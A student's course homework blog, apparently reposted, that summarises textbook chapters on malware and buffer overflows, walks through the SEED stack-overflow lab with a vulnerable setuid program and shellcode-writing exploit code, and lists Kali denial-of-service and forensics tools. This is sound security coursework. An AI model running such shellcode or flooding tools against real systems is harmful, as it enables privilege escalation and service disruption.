2017-2018-2 20179225 《網絡攻防與實踐》 第9周做業

教材學習

第九章

1 惡意代碼的基礎知識

1.1 惡意代碼的定義與分類

1.1 .1 惡意代碼的定義:
惡意代碼是指使計算機安裝攻擊者意圖執行的指令集
1.1.2 惡意代碼的分類:
計算機病毒、蠕蟲、惡意移動代碼、後門、特洛伊木馬、殭屍程序、內核套件(Rootkit)、融合型惡意代碼。python

1.2 計算機病毒

1.2.1 計算機病毒的基本特性
感染性、潛伏性、可觸發性、破壞性、衍生性
1.2.2 感染及引導機制
可執行文件、引導扇區、支持宏指令的數據文件
1.2.3 傳播機制
移動存儲、電子郵件、下載、共享目錄
1.2.4 網絡蠕蟲linux

基本特性:經過網絡自主傳播
組成結構:彈頭(緩衝區溢出攻擊、文件共享攻擊、利用電子郵件傳播、利用其餘廣泛的錯誤配置)、傳播引擎、目標選擇算法、掃描引擎、有效載荷

1.2.5 後門與木馬
後門容許攻擊者繞過系統常規安全控制機制的程序,可以按照攻擊者本身的意圖提供訪問通道
木馬其做爲特洛伊木馬的簡稱,是指一類看起來具備某個有用或者善意目的,但實際掩蓋着一些隱藏惡意功能的程序。
1.2.6 殭屍程序與殭屍網算法

僵屍網絡的定義
僵屍網絡是在網絡蠕蟲、特洛伊木馬、後門工具等傳統惡意代碼形態的基礎上發展融合而產生的一種新型攻擊方式。僵屍網絡是指攻擊者出於惡意目的,傳播殭屍程序控制大量主機,並經過一對多的命令與控制信道所組成的網絡。
僵屍網絡區別於其餘攻擊方式的基本特性
使用一對多的命令與控制機制,另外,僵屍網絡還具備惡意性和網絡傳播性。
僵屍網絡功能結構
網絡控制器和殭屍程序,其中殭屍程序分爲主體功能模塊和輔助功能模塊
殭屍程序的命令與控制機制
基於IRC協議的命令與控制機制、基於HTTP協議的命令與控制機制、基於P2P協議的命令與控制機制shell

1.2.7 Rootkitwindows

Rootkit的定義
一類特洛伊木馬後門工具,經過修改現有的操做系統軟件,使攻擊者得到訪問權並隱藏在計算機中。
分類
用戶模式Rootkit和內核模式Rootkit(Linux內核模式Rootkit、Windows內核模式Rootkit)。瀏覽器

2 惡意代碼分析方法

2.1 惡意代碼分析技術概述

靜態分析和動態分析sass

2.2 惡意代碼的分析環境

惡意代碼發燒友的分析環境
基於虛擬化構建惡意代碼分析環境
用於研究的惡意代碼自動分析環境

2.3 惡意代碼靜態分析技術

反病毒軟件掃描
文件格式識別(識別軟件:PEiD、FileInfo、FileAnalzer)
字符串提取分析
二進制結構分析
反彙編
反編譯
代碼結構與邏輯分析
加殼識別和代碼脫殼

惡意代碼動態分析技術:基於快照對比的方法和工具、系統動態行爲監控方法(文件行爲監控軟件、進程行爲監控軟件、註冊表監控軟件、本地網絡棧行爲監控軟件)、網絡協議棧監控方法、沙箱技術、動態調試技術安全

第十章

軟件安全概述

軟件安全漏洞威脅
系統的脆弱性或缺陷、攻擊者對缺陷的可訪問性和攻擊者對缺陷的可利用性三個元素
軟件安全困境
複雜性、可擴展性、連通性
軟件安全漏洞類型
XSS、SQL注入、PHP遠程文件包含、目錄遍歷、信息泄露、由畸形輸入致使的拒絕服務、符號連接問題、格式化字符串、密碼學缺陷。
按照技術類:內存安全規範類、輸入驗證類、競爭條件類、權限混淆與提高類。bash

緩衝區溢出基本概念

緩衝區溢出定義
計算機程序中存在的一類內存安全違規類漏洞,在計算機程序向特定緩衝區內填充數據時,超出了緩衝區自己的容量,致使外溢數據覆蓋了相鄰內存空間的合法數據,從而改變了程序執行流程破壞系統運行完整性。
緩衝區溢出攻擊原理
棧溢出、堆溢出、內核溢出。服務器

Linux平臺上的棧溢出與Shellcode

Linux平臺棧溢出攻擊技術的模式
NSR、RNS、RS三種模式。
NSR和RNS模式適用於本地緩衝區溢出和遠程棧溢出攻擊,而RS模式只能用於本地緩衝區溢出攻擊。
Linux平臺的Shellcode實現技術Linux本地Shellcode實現機制、Linux遠程Shellcode實現機制

Windows平臺上的棧溢出與Shellcode

Windows平臺棧溢出攻擊技術
Windows平臺棧溢出攻擊技術機理:對程序運行過程當中廢棄棧的處理方式差別、進程內存空間的佈局差別、系統功能調用的實現方式差別
Windows平臺Shellcode實現技術Windows本地Shellcode、Windows遠程Shellcode

SEED實驗:緩衝區溢出漏洞實驗

在kali上輸入命令安裝一些用於編譯32位C程序sudo apt-get update sudo apt-get install lib32z1 libc6-dev-i386 sudo apt-get install lib32readline-dev
輸入linux3 ,進入32位linux環境;繼續輸入/bin/bash 使用bash:

使用命令sudo sysctl -w kernel.randomize_va_space=0 關閉地址空間隨機化來隨機堆和棧的初始地址

用如下命令設置zsh程序

sudo su
cd /bin
rm sh
ln -s zsh sh
exit

通常狀況下,緩衝區溢出會形成程序崩潰,在程序中,溢出的數據覆蓋了返回地址。而若是覆蓋返回地址的數據是另外一個地址,那麼程序就會跳轉到該地址,若是該地址存放的是一段精心設計的代碼用於實現其餘功能,這段代碼就是shellcode。

#include <stdio.h>
int main( ) {
char *name[2];
name[0] = ‘‘/bin/sh’’;
name[1] = NULL;
execve(name[0], name, NULL);
}

使用命令cd tmp 進入tmp目錄使用命令vi stack.c 保存到 /tmp 目錄下
代碼以下

/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}


int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}

編譯stack.c程序,並設置SET-UID,使用以下命令

sudo su
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
chmod u+s stack
exit

一樣把如下代碼保存爲「exploit.c」文件,保存到 /tmp 目錄下

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[]=

"\x31\xc0"    //xorl %eax,%eax
"\x50"        //pushl %eax
"\x68""//sh"  //pushl $0x68732f2f
"\x68""/bin"  //pushl $0x6e69622f
"\x89\xe3"    //movl %esp,%ebx
"\x50"        //pushl %eax
"\x53"        //pushl %ebx
"\x89\xe1"    //movl %esp,%ecx
"\x99"        //cdq
"\xb0\x0b"    //movb $0x0b,%al
"\xcd\x80"    //int $0x80
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;

/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);

/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");
strcpy(buffer+100,shellcode);

/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

輸入命令gdb stack進入gdb調試disass main獲得shellcode在內存中的地址

地址計算方法:
shellcode保存在 buffer+100 的位置,將100換爲十六進制與ffffd3f0相加獲得ffffd454,添加到exploit.c的此處「\x??\x??\x??\x??「

修改後使用命令gcc -m32 -o exploit exploit.c編譯exploit.c程序
先運行攻擊程序exploit,再運行漏洞程序stack

屢次嘗試仍然出現段錯誤,代碼和成功實驗同樣,不知哪裏出錯了

視頻學習

kali壓力測試工具

壓力測試經過肯定一個系統的瓶頸或者不能接受的性能特色,來得到系統能提供的最大的服務級別的測試。通俗的講,壓力測試是爲了發如今什麼條件下您的應用程序的性能會變得不可接受。kali下壓力測試工具寶庫VoIP壓力測試,WEB壓力測試,網絡壓力測試及無線壓力測試四個分類。
  1. VoIP壓力測試工具
    包括iaxflood和inviteflood
  2. WEB壓力測試
藉助THC-SSL-DOS攻擊工具,任何人均可以把提供SSL安全鏈接的網站攻擊下線,這種攻擊方法被稱爲SSL拒絕服務攻擊(SSL DOS)。德國黑客組織「The hacker's choice」發佈THC SSL DOS,利用SSL中的已知弱點,迅速消耗服務器資源,與傳統DDoS工具不一樣的是,它不須要任何帶寬,只須要一臺執行單一攻擊的電腦。
漏洞存在於協議的renegotiation過中,renegotiation被用於瀏覽器到服務器之間的驗證。

  1. 網絡測試工具
    dhcpig耗盡DHCP資源池的壓力測試,嘗試把dhcp分配的IP地址所有耗盡,耗盡以後新連接進來獲取不到IP地址,則不能上網。
  2. Macof
    可作泛洪攻擊工具,也是網絡壓力測試的工具
  3. Siege
    Siege是一個壓力測試和評測工具,設計用於WEB開發這評估應用在壓力下的承受能力:能夠根據配置對一個WEB站點進行多用戶的併發訪問,記錄每一個用戶全部請求過程的相應時間,並在必定數量的併發訪問下重複進行
  4. T50壓力測試
    T50是一個壓力測試工具,它功能強大且具備獨特的數據包注入工具,T50支持Linux系統可進行多種協議的數據包注入,實際上支持15種協議。
  5. 無線壓力測試
    mdk3和reaver

數字取證工具

數字取證技術將計算機調查和分析技術應用於對潛在的,有法律效力的電子證據的肯定與獲取,一樣他們都是針對黑客和入侵的,目的都是保障網絡的安全。

  1. PDF取證工具
    peepdf是一個使用python編寫的PDF文件分析工具,它能夠檢測惡意的PDF文件。其設計目標是爲安全研究人員提供PDF分析中可能使用到的全部組件,無需使用3或者4中工具來完成同一件任務。

    2.反數字取證chkrootkit
    Linux下查找後門的工具,是判斷系統是否被植入Rootkit的利器。
  2. 內存取證工具
    volatility是開源的windowa,Linux,MAC,Android的內存取證分析工具,由python編寫成,命令行操做,支持各類操做系統。
  3. 取證分隔工具binwalk
    binwalk是一個固定的分析工具,旨在協助研究人員對固件非分析,提取及逆向工程用處。簡單易用,徹底自動化腳本,並經過自定義簽名,提取規則和插件模塊,還有重要的一點的是能夠輕鬆的擴展。藉助binwalk有個很強大的功能是提取文件(壓縮包)中存在的隱藏文件(或內容文件),亦可分析文件格式。,解壓縮包,查看壓縮包。

    分析一個壓縮包,可告知從什麼地址開始什麼地址結束

    使用-e功能可直接將文件解壓出來

    可做爲文件格式分析的工具

  4. 取證哈希驗證工具集
    md5deep是一套跨平臺的方案,能夠計算和比較MD5等哈希加密信息的摘要MD5,SH-1,SHA-256,Tiger,Whirlpool.
  5. 取證鏡像工具集
    針對鏡像文件的取證工具,如mmsstat與mmls

    mmls 能夠直接分析鏡像的目錄與狀態信息
  6. 數字取證套件
    兩個圖形化的界面autopsy(以瀏覽器的形式訪問本地的9999端口)

    程序的圖形化界面dff,圖形界面是dff.gui

報告工具與系統服務

  1. Dradis
    Dradis是一個用於提升安全監測效率的信息共享框架(協做平臺),Dradis提供了一個集中地信息倉庫,用於標記咱們目前已經作的工做和下一步計劃。
    打開dradis會打開瀏覽器
  2. Keepnote
    一個很精簡的筆記軟件,特色以下:
    富含文本格式,彩色字體,內置圖片,超連接,樹型分層組織內容,全文搜索,綜合截圖,文件附件,集成的備份和恢復,拼寫檢查(經過gtkspell),自動保存,內置的備份和恢復(zip文件存檔)

    建立後能夠加page
  3. 媒體捕捉工具:cutycapt

    能夠將圖像保存
  4. Recordmydesktop
    屏幕錄像工具,用來錄製桌面。
  5. Magic Tree
    是一個面向滲透測試人員的工具,能夠幫助你輕鬆直接的進行數據合併,查詢,外部命令執行和報告生成,全部的數據都會以樹形結構存儲,很是方便。能夠調用nmap
  6. Truecrypt
    是一款免費開源的加密軟件,同時支持windows vista,7/Xp,MAc OS X,linux等操做系統。
  7. 服務功能介紹 及時啓動和關閉某些服務,使用命令,每一項對應每一項的服務。 ssh能夠遠程鏈接
相關文章
相關標籤/搜索